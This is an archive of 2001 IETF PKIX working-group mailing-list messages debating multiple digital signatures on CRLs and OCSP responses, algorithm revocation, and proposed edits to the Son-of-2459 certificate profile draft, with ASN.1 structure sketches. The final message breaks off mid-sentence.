Received: by claudio with Internet Mail Service (5.5.2653.19) id <1471315G>; Tue, 20 Feb 2001 14:53:39 -0000
Message-ID: <36086CC80304D3119B040008C75DF59604943483@claudio>
From: "Bland, Graham" <[e-mail]>
To: =?iso-8859-1?Q?=27S=F6nke_Maseberg=27?= <[e-mail]>, pkix <[e-mail]>
Subject: RE: multiple digitale signatures
Date: Tue, 20 Feb 2001 14:53:39 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id GAA16675

Sonke,

Firstly Revocation of algorithms by CAs.

Whenever have seen a compromise of a mainstream algorithm it has never been
a yes/no case, they have been weakened over time. The strength of an
algorithm is only relevant in conjunction with the value and duration of the
service or information it protects.

Where a CA is using algorithms for its own purposes such as signing
certificates or CRLs then it is within the CAs scope to modify the algorithm
strength or the algorithm used for any signature it creates, the same
flexibility applies to any creator of a signature such as an OCSP responder.
The signature is valid at the time it was created.

Where anybody has issued certificates or signed responses it is outside
their scope to revoke certificates which use those algorithms.

An example would be Verisign arbitrarily revoking all 40 bit SSL
certificates on the grounds they are insecure, imagine the chaos which this
would cause.

Also what should the behaviour be where in validating a certificate chain
one CA has revoked an algorithm but other CAs have not. Assuming the CA
hierarchy is A(root) B and C, if B as the second tier revokes RSA but uses
DSA signatures on its certificates whereas A and C use RSA but have not
revoked it what should happen? Should the non revocation by the root CA be
binding on the chain or is a single revocation binding on all CAs even if
they do not agree.  If I have multiple trust points and CAx has revoked an
algorithm is this binding on a path which does not include CAx?

An attack was reported on RSA in the last couple of weeks before it was
realised that this attack was slower than existing methods of factoring.
Should CAs have revoked RSA on the report of an attack and then reinstated
it or ignored it until it had been substantiated. I shudder to think of the
legal implications in the real world of either action.
 
IMHO this is complexity which is unworkable in practice.
 
Secondly multiple digital signatures

As far as I can see the scheme you propose only has historical value, as at
the time the signature was created it presumably was trusted by the creator.
If it is not trusted by the recipient then the option exists to reject it.

To take this to its logical conclusion and to be useful there would have to
be a set of rules create to ensure that the signatures had different
characteristics such as different hash algorithms, no two signatures based
on the same mathematical problem (Factorisation, discreet logarithms etc) as
these could become 'simple' problems at some time in the future. etc. etc.

Again this I believe is unworkable in practice due to the overheads it would
cause and would have little value in practice, as such it should not be
applied in the standards.

Graham Bland

-----Original Message-----
From: Sönke Maseberg [mailto:[e-mail]]
Sent: 19 February 2001 21:28
To: pkix
Subject: multiple digitale signatures


Hello,

we are working at the problem, that it couldn't be excluded that one
component of a public key infrastructure can be compromised, since no
proofable secure signature algorithm or hash function exists. 

For example nowadays the hash functions SHA-1 or RIPEMD-160 and the
signature algorithms RSA with 1024 bit or ECDSA with 160 bit keylength
are qualified for cryptographic purposes. The public key cryptograpy is
based on mathematical problems which are supposed to be hard to solve,
but it is not known for sure. If a failure occurs the security of the
PKI could not be guaranteed any longer as a whole, this means the
electronic communication may be insecure.

That is the reason why we develop a public key infrastructure which will
keep its functionality in the case of failure and which is able to be
repaired and where generated digital signatures won't lose their
proofability.

As a basic restriction the technical components must be integrated in
the PKI in such a flexible manner, that an exchange could be possible.
The flexible public key infrastructure which is developed at the chair
of Professor Buchmann of the Technical University of Darmstadt/Germany
in the "FlexiPKI" project is following this philosophy. 

The main idea is to build up a public key infrastructure upon several
independent cryptographic components, where in the case, one component
is compromised the other components still can be used to:
- Exchange the compromised component securely
- Sign electronic documents multiple (concept of multiple digital
signatures)


To support standards of PKIX, we ask for some discussions about our
ideas and extensions:


1. multiple digital signatures

We want to use multiple digital signatures, that are digital signatures
generated of independent signature algorithms, for example RSA with
SHA-1 and ECDSA with RIPEMD-160. PKCS#7 supports those signatures. But
we would  like to extend OCSP responses [RFC 2560] and CRLs (Certificate
and CRL Profile) [<draft-ietf-pkix-new-part1-04.txt>] with multiple
digital signatures in the following manner:

OCSP response:

   BasicOCSPResponse  ::=  SEQUENCE {
      tbsResponseData       ResponseData,
      signatureAlgorithm    AlgorithmIdentifier,
      signature             BIT STRING,
      certs                 [0]  EXPLICIT SEQUENCE OF Certificate
OPTIONAL,
      additionalsignatures  [1]  SEQUENCE OF SEQUENCE {        --
EXTENSION              
           signatureAlgorithm         AlgorithmIdentifier,
           signature                  BIT STRING } 
           }  OPTIONAL
      }

CRL:

   CertificateList  ::=  SEQUENCE  {
      tbsCertList            TBSCertList,
      signatureAlgorithm     AlgorithmIdentifier,
      signatureValue         BIT STRING, 
      additionalsignatures   SEQUENCE OF SEQUENCE {           --
EXTENSION
         signatureAlgorithm     AlgorithmIdentifier,
         signatureValue         BIT STRING 
         }  OPTIONAL
      }


2. revoked algorithms

If a signature algorithms is compromised, all certificates have to be
revoked. But the number of those certificates can be very large, so we
would like to revoke an algorithm. For this reason we propose the
following extension of CRL (Certificate and CRL Profile)
[<draft-ietf-pkix-new-part1-04.txt>]:
 
   TBSCertList  ::=  SEQUENCE  {
      version                Version OPTIONAL,
      signature              SEQUENCE OF AlgorithmIdentifier,  --
EXTENSION
      issuer                 Name,
      thisUpdate             Time,
      nextUpdate             Time OPTIONAL,
      revokedCertificates    SEQUENCE OF SEQUENCE  {
         userCertificate        CertificateSerialNumber,
         revocationDate         Time,
         crlEntryExtensions     Extensions OPTIONAL
         }  OPTIONAL,
      crlExtensions          [0]  EXPLICIT Extensions OPTIONAL, 
      revokedAlgorithms      [1]  SEQUENCE OF SEQUENCE {       --
EXTENSION
         signatureAlgorithm          AlgorithmIdentifier,
         revocationDate              Time,
         crlEntryExtensions          Extensions OPTIONAL 
         }  OPTIONAL
      }



What do you think about it? 

Thanks in advance,
Sönke


---

Sönke Maseberg       GMD - Institut für Sichere Telekooperation
Dipl.-Math.          Rheinstr. 75, D-64295 Darmstadt
                     Tel: [phone], Fax: [phone]

                     Technische Universität Darmstadt
                     Institut fuer Theoretische Informatik
                     Lehrstuhl Prof. J. Buchmann
                     Alexanderstr. 10, D-64283 Darmstadt
_______________________________________________________________________

This message is confidential and is intended for the addressee only;
unless clearly stated that this disclaimer should not apply, this 
e-mail is not intended to create legally binding commitments on 
behalf of any company in the British Interactive Broadcasting 
Holdings Limited group,  nor do its contents reflect the corporate 
views or policies of any such company. Any unauthorised disclosure, 
use or dissemination, either whole or partial, is prohibited. If you 
are not the intended recipient of the message, please notify the
sender immediately.
_______________________________________________________________________


Received: from mailserver1.hrz.tu-darmstadt.de ([e-mail] [130.83.126.41]) by above.proper.com (8.9.3/8.9.3) with ESMTP id FAA15187 for <[e-mail]>; Tue, 20 Feb 2001 05:36:29 -0800 (PST)
Received: from darmstadt.gmd.de (cdc5.cdc.informatik.tu-darmstadt.de [130.83.23.14]) by mailserver1.hrz.tu-darmstadt.de (8.9.1a/8.9.1) with ESMTP id OAA03852; Tue, 20 Feb 2001 14:36:39 +0100 (MET)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Tue, 20 Feb 2001 14:36:26 +0100
From: Soenke Maseberg <[e-mail]>
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.6 sun4m)
X-Accept-Language: en
MIME-Version: 1.0
To: Tom Gindin <[e-mail]>, [e-mail]
Subject: Re: Algorithm revocation
References: <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hi.


Tom Gindin wrote:

>     I don't see the point of having entry extensions inside
> revokedAlgorithms, nor do I see any need to extend the base CRL structure
> for them.  The criticality of this extension as a whole is a matter of
> opinion.

minimumSafeKeyBits is a good idea. But I think, revokedAlgorithms is at the
same level as revokedCertificates.
What about the following extensions of Certificate and CRL Profile)
[<draft-ietf-pkix-new-part1-04.txt>]?

  CertificateList  ::=  SEQUENCE  {
      tbsCertList            TBSCertList,
      signatureAlgorithm     AlgorithmIdentifier,
      signatureValue         BIT STRING,
      additionalsignatures   SEQUENCE OF SEQUENCE {           --EXTENSION
         signatureAlgorithm     AlgorithmIdentifier,
         signatureValue         BIT STRING
         }  OPTIONAL
      }

  TBSCertList  ::=  SEQUENCE  {
      version                Version OPTIONAL,
      signature              SEQUENCE OF AlgorithmIdentifier,  --  EXTENSION
      issuer                 Name,
      thisUpdate             Time,
      nextUpdate             Time OPTIONAL,
      revokedCertificates    SEQUENCE OF SEQUENCE  {
         userCertificate        CertificateSerialNumber,
         revocationDate         Time,
         crlEntryExtensions     Extensions OPTIONAL
         }  OPTIONAL,
      crlExtensions          [0]  EXPLICIT Extensions OPTIONAL,
      revokedAlgorithms      [1]  SEQUENCE OF CompromisedAlgorithm
OPTIONAL      -- EXTENSION
      }

   CompromisedAlgorithm ::= SEQUENCE {
      signatureAlgorithm      AlgorithmIdentifier,
      minimumSafeKeyBits      INTEGER DEFAULT 1000000000,  -- or any very
large number
                           -- would a combination of { KeyUsage flag, Size }
be more useful?
      revocationDate          Time,
      explanatoryText         UTF8String OPTIONAL
      }


> However, signed timestamp pyramiding ought to protect against later
> compromises of algorithms which are not believed to be questionable at the
> time of the OCSP check.

The problem of timestamps occurs if they uses the compromised signature
algorithm too.


Regards,
Sönke

---

Sönke Maseberg
Dipl.-Math.

GMD - Institut für Sichere Telekooperation
Rheinstr. 75, D-64295 Darmstadt
Tel: [phone], Fax: [phone]

Technische Universität Darmstadt
Institut fuer Theoretische Informatik
Lehrstuhl Prof. J. Buchmann
Alexanderstr. 10, D-64283 Darmstadt



Received: from mailserver1.hrz.tu-darmstadt.de ([e-mail] [130.83.126.41]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA14032 for <[e-mail]>; Tue, 20 Feb 2001 04:53:27 -0800 (PST)
Received: from darmstadt.gmd.de (cdc5.cdc.informatik.tu-darmstadt.de [130.83.23.14]) by mailserver1.hrz.tu-darmstadt.de (8.9.1a/8.9.1) with ESMTP id NAA00616; Tue, 20 Feb 2001 13:53:34 +0100 (MET)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Tue, 20 Feb 2001 13:53:22 +0100
From: Soenke Maseberg <[e-mail]>
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.6 sun4m)
X-Accept-Language: en
MIME-Version: 1.0
To: Juergen Brauckmann <[e-mail]>
CC: pkix <[e-mail]>
Subject: Re: multiple digitale signatures
References: <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Juergen.

Juergen Brauckmann wrote:

> Why do you want to do that? If a client has an old OCSP response with an
> expired algorithm, then the client could simply request a new OCSP
> response.

How do the CA (certification authority) informs the CHs (certificate holder)
about a compromised signature algorithm or key?

I think the CA should use CRLs, where CRLs are multiple signed. Because
otherwise the information about a compromised algorithm or key could be
forged. Moreover a CH don't know, when such a case occurs, so that the CRL
should have multiple digital signatures ever. A CH can decide which of them
he proofs. All under the assumption that the possibility of occurence of
failures for all used signature algorithms at the same time is very small.
The used signature algorithms in the PKI have to be independent from each
other.

Analogous a OCSP reponse have to be multiple signed.


> If the old OCSP response is that important that you must reuse it, then
> you may use timestamps.

The problem of timestamps occurs if they uses the compromised signature
algorithm too.

> I think it would be a big performance burden on the OCSP responder if it
> would be forced to sign the response multiple times.

Performance is a big theme: But I think it is feasible. For example: today
you use RSA signatures with 1024 bit and in the FlexiPKI you expand it with
an ECDSA signature with 160 bit.

Best regards,
Soenke





Received: from fgwmail6.fujitsu.co.jp (fgwmail6.fujitsu.co.jp [192.51.44.36]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA06245 for <[e-mail]>; Tue, 20 Feb 2001 01:37:37 -0800 (PST)
Received: from m5.gw.fujitsu.co.jp by fgwmail6.fujitsu.co.jp (8.9.3/3.7W-MX0012-Fujitsu Gateway) id SAA09003 for <[e-mail]>; Tue, 20 Feb 2001 18:37:01 +0900 (JST) (envelope-from [e-mail])
Received: from nic10.fjh.se.fujitsu.co.jp by m5.gw.fujitsu.co.jp (8.9.3/3.7W-0101-Fujitsu Domain Master) id SAA20471 for <[e-mail]>; Tue, 20 Feb 2001 18:37:00 +0900 (JST) (envelope-from [e-mail])
Received: from anakin (anakin.fjh.se.fujitsu.co.jp [10.131.201.130]) by nic10.fjh.se.fujitsu.co.jp (8.9.3+3.2W/3.7W) with ESMTP id SAA13416 for <[e-mail]>; Tue, 20 Feb 2001 18:36:58 +0900 (JST)
Date: Tue, 20 Feb 2001 18:36:58 +0900
From: TAKIGUCHI Naruhito <[e-mail]>
To: [e-mail]
Subject: certificate policies extension in RFC2459 and new-part1-04
Message-Id: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Mailer: Becky! ver. 2.00.03

Hello.

I had sent a following mail to this list six months ago.
But I could not get any replies. So, I sent the same question again today.


It seems to me that there is an inconsistency between RFC2459 and 
new-part1-04 about processing the certificate policies extension.

In RFC2459, if the certificate policies extension is marked as 
non-critical, it is not processed. 
But in new-part1-04, the certificate policies extension is 
processed regardless of its critical flag.

For example, consider there is a certificate path as shown below, 
and the acceptable policy set is (A). In RFC2459, this path's validation
processing will succeed. But in new-part1-04, this path's validation
processing will fail.

    +------------------------+
    | root CA cert           |
    |                        |
    | critical policy(A)     |
    +------------------------+
                |
    +------------------------+
    | end entity cert        |
    |                        |
    | non-critical policy(B) |
    +------------------------+

And, new-part1-04 requires that certificate must have a certificate
policies extension.
For example, a following certificate path will succeed in RFC2459,
but will fail in new-part1-04.

    +------------------------+
    | root CA cert           |
    |                        |
    | critical policy(A)     |
    +------------------------+
                |
    +------------------------+
    | end entity cert        |
    |                        |
    |      (no policy)       |
    +------------------------+

Thus, new-part1-04 doesn't have compatibility with a certificate
which was issued based on RFC2459?
How do you think these compatibility between RFC2459 and new-part1-04?

Do I misunderstand?
Could anyone advise me?

Thanks in advance.

-----
Takiguchi Naruhito
FUJITSU HOKURIKU SYSTEMS LTD.




Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA04863 for <[e-mail]>; Tue, 20 Feb 2001 01:14:38 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id KAA21382; Tue, 20 Feb 2001 10:22:17 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id KAA20924; Tue, 20 Feb 2001 10:14:05 +0100
Message-ID: <[e-mail]>
Date: Tue, 20 Feb 2001 10:14:06 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Tim Polk <[e-mail]>
CC: [e-mail]
Subject: Re: Resolution of name constraints issue
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tim,

> Folks,
> 
> As you may recall, name constraints had emerged as a thorny issue at the
> San Diego meeting.  ISO had determined that the current name constraints
> extension did not satisfy all of their requirements, and was contemplating
> revisions.  However, the current name constraints extension were an
> acceptable solution for PKIX because RFC 2459 (and its successor) mandated
> that the subject field of all CA certificates MUST contain a non-empty DN.
> 
> The changes under consideration at that time in ISO could have resulted in
> divergent IETF and ISO specifications.  I feared that changes in name
> constraints would delay or prevent implementation of this extension.  At
> the San Diego meeting, we agreed to convey our concerns to ISO and
> encourage them to explore other options.  We agreed that the issue needed
> to be resolved by the middle of February.  This was reasonable, since ISO
> had a meeting in Geneva at the end of January.
> 
> In between the San Diego and Geneva meetings, there was a flurry of
> activity on this topic.  Entrust, NIST, and Spyrus worked actively to flesh
> out the business requirements that name constraints should satisfy, then
> determine if a functional shortfall existed.  We determined that a
> shortfall existed, and it could not be satisfied with the current
> syntax.  We also determined that the current extension efficiently
> represented the remaining requirements.
> 
> This information 

Would it be possible that you post this document (or a summary of it) to the
mailing list so that all PKIX WG members may fully understand the rational ?

Thanks,

Denis

> was used by members of the ISO Directory Working Group to
> develop semantics and syntax for a new ISO extension which implements all
> of ISO's requirements.  This extension contains an additional optional
> field to specify that a name type is required to appear in all following
> certificates.  The extension incorporates both current fields and their
> semantics are preserved.  The new extension was discussed at the Geneva
> meeting, and seems likely to be accepted and incorporated in X.509 in the
> future.  A new OID will be assigned to identify the new extension.
> 
> What does this mean for PKIX?
> 
> (1) The name constraints text in son-of-2459 will not need to be
> modified.  The current OID can still be used with the specified syntax, and
> the semantics are preserved.  This means we can proceed with Last Call.
> 
> (2) The new extension is processed EXACTLY the same way as the current
> extension when the one new field is not present.  As a result, it will be
> straightforward to process paths that include both the current name
> constraints extension and the version ISO is currently working on.
> 
> (3) As the ISO documents (e.g., the defect report or proposed resolution)
> become available,  the PKIX WG should review the text to ensure
> compatibility and understand the new functionality that is being
> offered.  (Hoyt Kesterson has consistently brought these documents to the
> attention of the PKIX WG.  Thanks, Hoyt!)
> 
> (4) As the specification matures, PKIX can add the new name constraints
> extension to the recognized extension set.
> 
> There were numerous contributors in this process.  I would like to
> recognize the following people: Sharon Boeyen, Serge Mister, and Carlisle
> Adams from Entrust, Russ Housley from Spyrus, and David Cooper from NIST.
> 
> Thanks,
> 
> Tim Polk


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA04663 for <[e-mail]>; Tue, 20 Feb 2001 01:11:36 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id KAA24612; Tue, 20 Feb 2001 10:19:14 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id KAA18240; Tue, 20 Feb 2001 10:11:02 +0100
Message-ID: <[e-mail]>
Date: Tue, 20 Feb 2001 10:11:03 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Tim Polk <[e-mail]>
CC: [e-mail]
Subject: Re: WG Last Call: Son-of-2459
References: <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id BAA04664

Tim,
 
> Folks,
> 
> The current version of Part1 is ready for Working Group Last Call; Last
> Call will close on or after February 28, 2001.
> 
> The draft is named draft-ietf-pkix-new-part1-04.txt.  The text has been
> posted and is available from the usual repositories, including:
> http://www.ietf.org/internet-drafts/draft-ietf-pkix-new-part1-04.txt
> 
> The name constraints issue has been addressed satisfactorily.  (See earlier
> message with subject "Resolution of name constraints issue").

... but, in section 6, there is nearly no text on name constraints.

> I am aware of one open issue that needs to be discussed by this group.  The
> basic constraints text (4.2.1.10, page 37) and path validation algorithm
> wrap-up procedure (6.1.5, page 73) contained in this specification does not
> consider the path length constraint for an end certificate.   

  ... and neither name constraints.

> This may be
> considered a change from RFC 2459, and ...
> 
>                            *it was not discussed on the list*.
> 

I have found some time to take a look at section 6 from the long awaited
Son-of-2459, and I am disappointed. We spent quite an hour sitting
together with you during the Pittsburgh meeting to add the name constraints
to section 6.2 and I can't find that text. :-(

So let us go one by one at the changes that are required, and a few more
that we did not discuss. This makes 14 change proposals altogether:


1. Page 13. Current text:

    A CRL is a time stamped list
   identifying revoked certificates which is signed by a CA and made
   freely available in a public repository.

Proposed change:

   A CRL includes a list identifying revoked certificates and a date 
   of issue for that list, which is signed by a CA (or an entity 
   designated by the CA) and made freely available in a public 
   repository.

Rational: This sentence could be misleading by using the wording "time
stamped". Also the signature is usually not done with the CA issuing key.


2. Page 58. Current text:

   The
   binding is limited by constraints which are specified in the
   certificates which comprise the path and the initial state variables
   which are specified by the relying party. 

Proposed change:

   The binding is limited both by constraints which are specified in 
   the certificates which comprise the path and the initial state 
   variables which are specified by the relying party, such as 
   certificate policy and name constraints. 

Rational: name constraints were missing.


3. Page 58. Current text:

   The algorithm
   requires the public key of the CA, the CA's name, and any constraints
   upon the set of paths which may be validated using this key.

Proposed change:

   The algorithm requires the public key of the CA, the CA's name, 
   and any constraints upon the set of paths (i.e. using name 
   constraints) which may be validated using this key, and optionally 
   the validity period of this set of parameters (which may be 
   contained in a self-signed certificate). 

Rational: A CA self-signed certificate, when used, contains a validity
period which allows a nice key rollover using CMP.


4. Page 58. Current text:

   Section 6.3 describes the steps necessary to determine if a
   certificate is (…) on hold status when CRLs are the revocation
   mechanism used by the certificate issuer.

and 6.3 CRL Validation

   This section describes the steps necessary to determine if a
   certificate is (…) on hold status 

but in practice the case of on hold is not addressed in section 6.3 !  There
should be a story saying that if the certificate is on hold, then there is
still a chance, later on, to know that the certificate is no more revoked.
The text should be amended by the editor to address that case.


5. Page 59. Current text:

   The primary goal of path validation is to verify the binding between
   a subject distinguished name or subject alternative name and subject
   public key, as represented in the end entity certificate, based on
   the public key of the trust anchor.  

Proposed change:

   The primary goal of path validation is to verify for a given time 
   the binding between a subject distinguished name or subject 
   alternative name and subject public key, as represented in the 
   end entity certificate, based on the public key of the trust 
   anchor.

Rational: This is only valid at a given time, and thus necessary to say it.


6. Page 60. Current text: 

   However, a CA may issue a 
   certificate to itself to support key rollover or changes in 
   certificate policies.

Proposed change:

   However, a CA may issue a certificate to itself to support either 
   public key rollover, both public key rollover and changes in 
   certificate policies and/or name constraints.

Rational: name constraints were missing.

7. Page 61. Current text:

   6.1.1 Inputs

   This algorithm assumes the following seven inputs are provided to the
   path processing logic:

Proposed change:

   This algorithm assumes the following nine inputs are provided to the
   path processing logic:

Rational: see below that two additional parameters need to be initialized. 
7 + 2 = 9

8. Page 61. Current text:

  (b) the time, T, for which the validity of the path should be
      determined.  This may be the current date/time, or some point in
      the past.

Proposed change:

  (b) the time, T, for which the validity of the path should be
      determined.  This may be the current date/time, or some point in
      the past (see the security considerations section about the 
      limitations of that algorithm in the case of some time in
      the past).

Rational: some additional text has been provided in the security
consideration section to warn the user in the case of past validation. Note
that that has strong incidences on our current discussion on past validation
along DPV.


9. Page 62. Current text:

      (d) trust anchor information, describing a CA that serves as a
          trust anchor for the certification path.

Proposed change:

      (d) trust anchor information, valid at the time T, describing a 
          CA that serves as a trust anchor for the certification path.

Rational: This is only valid at a given time, and thus necessary to say it.

then add:

 (5) optionally, the validity period of the trusted public key 
     (which may be part of a CA self-signed certificate or be defined 
     independently).

Rational: A CA self-signed certificate, when used, contains a validity
period which allows a nice key rollover using CMP. The equivalent when
self-signed certificates are not used, should allow be permitted.


10. Page 62. Add the following

  (h)  initial permitted_subtrees, which indicates a name space 
within which all subject names in subsequent certificates in a 
certification path shall be located. Restrictions may apply to the 
subject distinguished name or subject alternative names only when the
specified name form is present. This parameter is either initialized 
using the name constraints contained in a CA self-signed certificate 
or defined as an independent parameter.

  (i) initial excluded_subtrees, which indicates a name space within 
which all subject names in subsequent certificates in a certification 
path shall not be located. Restrictions may apply to the subject 
distinguished name or subject alternative names only when the 
specified name form is present. This parameter is either initialized 
using the name constraints contained in a CA self-signed certificate 
or defined as an independent parameter.

Rational: These variables are used later on, but need to be initialized.


11. Page 75. Current text:

For example, a trusted CA may only be trusted for a particular certificate
policy.

Change proposal:

For example, a trusted CA may only be trusted for a particular certificate
policy or/and for some name space within which all subject names in
subsequent certificates in a certification path shall or shall not be
located. 

Rational: name constraints were missing.

12. Page 77. 6.3.3 CRL Processing

As said previously, there should be a story saying that if the certificate
is on hold, then there is still a chance, later on, to know that the
certificate is no more revoked. The text should be amended by the editor to
address that case.


13. Page 81. Section 9. Security Considerations

Current text:

   In addition, where a key compromise or CA failure occurs for a
   trusted CA, the user will need to modify the information provided to
   the path validation routine.  

Rational: The case of a key compromission for any key used in the path
validation should be addressed here. Add before that text:

   When performing path validation for a time in the past, because 
   CAs do not publish revocation information beyond the expiration 
   of a certificate, the path validation algorithm described in this 
   document (section 6) is only safe as long as the current time is 
   still within the certificate validity period of any certificate 
   used in the path validation.

   When a path validation succeeds for a current time, and when there
   might be a need to verify later on the validity of that path, it is 
   recommended to time stamp the certification path, the CRLs and/or
   the OCSP responses as soon as an initial verification is done. 
   This will prove that the certificates, CRLs or OCSP responses were 
   issued before the compromise of the key and will allow for a later 
   path verification to provide the same result (i.e. pass), otherwise 
   path validation would provide a different result (i.e. fail). 

   In order to avoid multiple and successive time stamps, a single 
   time stamp over the certification path and its associated 
   revocation information is recommended.

   This technique works as long as the key of the TSA is not itself
   compromised. Should that case happen, then two time stamps would 
   provide a protection. Should the key of a TSA likely to be soon 
   discovered (because of improvements in the cracking of a key or 
   an algorithm), an additional time stamp over the previous time 
   stamp obtained before this discovery would still provide a 
   protection.


14. Page 81. Section 9. Security Considerations

Current text:

   If the compromise is
   detected, all certificates issued to the CA shall be revoked,
   preventing services between its users and users of other CAs.
   Rebuilding after such a compromise will be problematic, so CAs are
   advised to implement a combination of strong technical measures
   (e.g., tamper-resistant cryptographic modules) and appropriate
   management procedures (e.g., separation of duties) to avoid such an
   incident.

Proposed text:

  [If the compromise is
   detected, all certificates issued to the CA shall be revoked,
   preventing services between its users and users of other CAs.]
   In any case, it is advisable to implement a combination of 
   strong technical measures (e.g., tamper-resistant cryptographic 
   modules) and appropriate management procedures (e.g., separation 
   of duties) to avoid such an incident. Should such an incident 
   nevertheless happen, then two options are possible depending upon 
   the context of the application:

     a)  When certificates are used for current time validation, 
         then the issuing key of the compromised CA shall be changed 
         and new cross certificates shall be issued to the CA.

     b)  When certificates are both used for current time and past 
         time validations, then the former measure still applies, 
         but in addition time stamping allows to continue to make use 
         of the already issued (and compromised) certificates, CRLs or 
         OCSP responses but only from the start of the original 
         validity period of the corresponding certificate used to verify 
         the signature of the certificates, CRLs or OCSP responses and 
         until revocation time of that certificate. 

Rational: A rebuilding is not problematic. It is possible to describe how to
recover from such a situation. The additional text describes one way to do
it.

Regards,

Denis


Received: from mystic1.trustcenter.de (mystic1.trustcenter.de [193.194.157.34]) by above.proper.com (8.9.3/8.9.3) with SMTP id XAA02111 for <[e-mail]>; Mon, 19 Feb 2001 23:37:52 -0800 (PST)
Received: by mystic1.trustcenter.de; id IAA00158; Tue, 20 Feb 2001 08:34:04 +0100
Received: from nodnsquery(192.168.200.233) by mystic1.trustcenter.de via smap (V5.0) id xma000155; Tue, 20 Feb 01 08:33:45 +0100
Received: from trustcenter.de (titan.trustcenter.de [192.168.200.244]) by venus.trustcenter.de (8.11.0/8.11.0) with ESMTP id f1K7aKm29716; Tue, 20 Feb 2001 08:36:20 +0100 (MET)
Message-ID: <[e-mail]>
Date: Tue, 20 Feb 2001 08:36:20 +0100
From: Juergen Brauckmann <[e-mail]>
X-Mailer: Mozilla 4.73 [en] (WinNT; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: =?iso-8859-1?Q?S=F6nke?= Maseberg <[e-mail]>
CC: pkix <[e-mail]>
Subject: Re: multiple digitale signatures
References: <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by venus.trustcenter.de id f1K7aKm29716
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id XAA02113

Hi.

Sönke Maseberg wrote:
> 1. multiple digital signatures
> we would  like to extend OCSP responses [RFC 2560] and CRLs (Certificate
> and CRL Profile) [<draft-ietf-pkix-new-part1-04.txt>] with multiple
> digital signatures in the following manner:

Why do you want to do that? If a client has an old OCSP response with an
expired algorithm, then the client could simply request a new OCSP
response.

If the old OCSP response is that important that you must reuse it, then
you may use timestamps.

I think it would be a big performance burden on the OCSP responder if it
would be forced to sign the response multiple times.


Regards,
   Juergen


Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA21951 for <[e-mail]>; Mon, 19 Feb 2001 15:37:39 -0800 (PST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22]) by e2.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id SAA132666; Mon, 19 Feb 2001 18:36:35 -0500
Received: from d02ml237.somers.hqregion.ibm.com (d02ml237.sby.ibm.com [9.45.4.171]) by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id SAA38800; Mon, 19 Feb 2001 18:33:54 -0500
Importance: Normal
Subject: Re: Algorithm revocation
To: =?iso-8859-1?Q?S=F6nke_Maseberg?= <[e-mail]>
Cc: pkix <[e-mail]>
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <[e-mail]>
From: "Tom Gindin" <[e-mail]>
Date: Mon, 19 Feb 2001 18:37:20 -0500
X-MIMETrack: Serialize by Router on D02ML237/02/M/IBM(Release 5.0.6a |January 17, 2001) at 02/19/2001 06:37:40 PM
MIME-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id PAA21952

     On the "Algorithm revocation" concept, while an RP would probably not
always want to rely on a CA's ideas about which algorithms are unsafe, at
least it would allow a CA to notify RP software which predates an algorithm
compromise and isn't configurable for a list of weakened algorithms that it
has reason to believe that some algorithm is weakened.  This idea is
actually more useful in having a CA which is a trusted root for some users
impose a constraint on CA's it has cross-certified than it is in simply
avoiding individual revocations, since a CA is expected to perform such
revocations as needed whether issuing a large number of revocations is
costly or not.
     If you're going to provide revocation facilities for an algorithm in
this way, wouldn't it be better to allow for the possibility that an
algorithm is revoked for certain key lengths and not for others (e.g.,
RSA-512 may be broken while RSA-2048 is not)?  If this is indeed a
reasonable idea, revokedAlgorithms would be a CRL extension (not a CRL
